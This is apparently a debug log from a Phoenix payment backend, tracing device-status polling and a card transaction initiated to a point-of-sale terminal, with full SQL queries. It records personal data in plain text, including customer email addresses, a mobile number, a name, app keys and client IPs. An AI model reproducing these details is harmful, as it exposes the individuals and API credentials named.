[Thu Sep  3 12:35:06.586000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40628] QUERY OK source="pos_transaction" db=15.7ms idle=1515.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:35:06.588000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40628] QUERY OK source="pos_temp_transaction" db=1.3ms queue=0.1ms idle=1531.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:35:06.591000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40628] QUERY OK source="pos_failed_transaction" db=3.3ms queue=0.1ms idle=1348.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:35:06.592000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40628] QUERY OK source="cloud_transaction" db=0.4ms idle=537.0ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:35:06.592000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40628] Sent 200 in 23ms
[Thu Sep  3 12:35:11.519000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46396] POST /api/device/status
[Thu Sep  3 12:35:11.519000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46396] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:35:11.519000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46396] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:35:11.520000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46396] Transaction reference number: "ch263043307165"
[Thu Sep  3 12:35:11.539000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46396] QUERY OK source="pos_transaction" db=18.4ms queue=0.5ms idle=1463.4ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:35:11.541000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46396] QUERY OK source="pos_temp_transaction" db=1.5ms idle=1482.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:35:11.545000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46396] QUERY OK source="pos_failed_transaction" db=3.5ms idle=1484.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:35:11.548000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46396] QUERY OK source="cloud_transaction" db=1.4ms idle=1489.4ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:35:11.548000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46396] Sent 200 in 29ms
[Thu Sep  3 12:35:16.518000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46408] POST /api/device/status
[Thu Sep  3 12:35:16.518000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:46408] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:35:16.518000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46408] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:35:16.519000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:46408] Transaction reference number: "ch263043307165"
[Thu Sep  3 12:35:16.536000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46408] QUERY OK source="pos_transaction" db=16.9ms idle=1462.0ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:35:16.537000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46408] QUERY OK source="pos_temp_transaction" db=0.7ms idle=1479.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:35:16.540000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46408] QUERY OK source="pos_failed_transaction" db=2.5ms idle=1253.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:35:16.541000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:46408] QUERY OK source="cloud_transaction" db=0.5ms queue=0.3ms idle=483.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:35:16.541000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:46408] Sent 200 in 23ms
[Thu Sep  3 12:35:21.445000 2026] [Phoenix.Logger:info] [pid 2816631] [client 115.99.190.251:61982] POST /api/device/initiate
[Thu Sep  3 12:35:21.445000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 115.99.190.251:61982] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}
  Pipelines: [:api]
[Thu Sep  3 12:35:21.445000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:61982] Processing card transaction for reference: newtestTxn11
[Thu Sep  3 12:35:21.447000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK source="users" db=0.6ms idle=1389.0ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:35:21.447000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK source="custom_events" db=0.4ms idle=1387.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:35:21.448000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "newtestTxn11"
Payload: %{
  username: "sonu73772@gmail.com",
  amount: 120,
  account_label: "test",
  app_key: "test123",
  customer_mobile_number: 6201561171,
  external_ref_number: "newtestTxn11",
  external_ref_number_2: "ref2",
  external_ref_number_4: "ref4",
  external_ref_numbers: [],
  push_to: %{"deviceId" => "98251226730001"}
}

[Thu Sep  3 12:35:21.448000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Prepared attributes for custom event log: %{
  payload: %{
    username: "sonu73772@gmail.com",
    amount: 120,
    account_label: "test",
    app_key: "test123",
    customer_mobile_number: 6201561171,
    external_ref_number: "newtestTxn11",
    external_ref_number_2: "ref2",
    external_ref_number_4: "ref4",
    external_ref_numbers: [],
    push_to: %{"deviceId" => "98251226730001"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:35:21.448212Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Thu Sep  3 12:35:21.448000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:61982] Creating custom event log with attributes: %{payload: %{username: "sonu73772@gmail.com", amount: 120, account_label: "test", app_key: "test123", customer_mobile_number: 6201561171, external_ref_number: "newtestTxn11", external_ref_number_2: "ref2", external_ref_number_4: "ref4", external_ref_numbers: [], push_to: %{"deviceId" => "98251226730001"}}, event_name: "Initiate Card Txn Request", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 12:35:21.448212Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Thu Sep  3 12:35:21.509000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK db=60.6ms idle=1389.1ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "sonu73772@gmail.com", amount: 120, account_label: "test", app_key: "test123", customer_mobile_number: 6201561171, external_ref_number: "newtestTxn11", external_ref_number_2: "ref2", external_ref_number_4: "ref4", external_ref_numbers: [], push_to: %{"deviceId" => "98251226730001"}}, "Initiate Card Txn Request", "newtestTxn11", ~U[2026-09-03 12:35:21Z], 35, "initiate_card_txn_request", ~N[2026-09-03 12:35:21], ~N[2026-09-03 12:35:21]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:35:21.509000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Successfully created custom event log with ID: 40220
[Thu Sep  3 12:35:21.510000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:61982] Handling card transaction:
- Reference: newtestTxn11
- Amount: 120
- Params: %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}

[Thu Sep  3 12:35:21.510000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK source="users" db=0.4ms idle=1450.7ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:35:21.511000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK source="custom_events" db=0.4ms idle=1451.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:35:21.511000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "newtestTxn11"
Payload: %{
  status: "online",
  username: "sonu73772@gmail.com",
  ts: 1788438921,
  device_id: "98251226730001",
  amount: 120
}

[Thu Sep  3 12:35:21.511000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "sonu73772@gmail.com",
    ts: 1788438921,
    device_id: "98251226730001",
    amount: 120
  },
  event_name: "Response From Device Online Status",
  refrence_id: "newtestTxn11",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:35:21.511890Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Thu Sep  3 12:35:21.512000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 115.99.190.251:61982] Creating custom event log with attributes: %{payload: %{status: "online", username: "sonu73772@gmail.com", ts: 1788438921, device_id: "98251226730001", amount: 120}, event_name: "Response From Device Online Status", refrence_id: "newtestTxn11", transaction_id: nil, date_added: ~U[2026-09-03 12:35:21.511890Z], event_id: 36, event_value: "response_from_device_online_status"}
[Thu Sep  3 12:35:21.615000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK db=102.8ms idle=1452.7ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "sonu73772@gmail.com", ts: 1788438921, device_id: "98251226730001", amount: 120}, "Response From Device Online Status", "newtestTxn11", ~U[2026-09-03 12:35:21Z], 36, "response_from_device_online_status", ~N[2026-09-03 12:35:21], ~N[2026-09-03 12:35:21]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:35:21.615000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 115.99.190.251:61982] Successfully created custom event log with ID: 40221
[Thu Sep  3 12:35:21.615000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 115.99.190.251:61982] Publish payload 98251226730001: "{\"type\":\"card\",\"request_id\":\"newtestTxn11\",\"amount\":12000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 12:35:21.700000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK db=83.4ms queue=0.1ms idle=1315.6ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"EMI Type" => "", "accountLabel" => "test", "additionalData" => "", "amount" => 120, "amountAdditional" => 0, "amountCashBack" => 0, "appKey" => "test123", "customerEmail" => "sonu73772@gmail.com", "customerMobileNumber" => 6201561171, "customerName" => "sonu", "description" => "testing", "externalRefNumber" => "newtestTxn11", "externalRefNumber2" => "ref2", "externalRefNumber3" => "ref3", "externalRefNumber4" => "ref4", "externalRefNumbers" => [], "orgCode" => "", "paymentBy" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98251226730001"}, "txnType" => "card", "username" => "sonu73772@gmail.com"}, "ch_be132651b714@mercurypay.in", "98251226730001", "newtestTxn11", 4, Decimal.new("120"), %{}, "1", ~N[2026-09-03 12:35:21], ~N[2026-09-03 12:35:21]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 12:35:21.701000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 115.99.190.251:61982] QUERY OK source="users" db=0.6ms queue=0.1ms idle=517.3ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["sonu73772@gmail.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
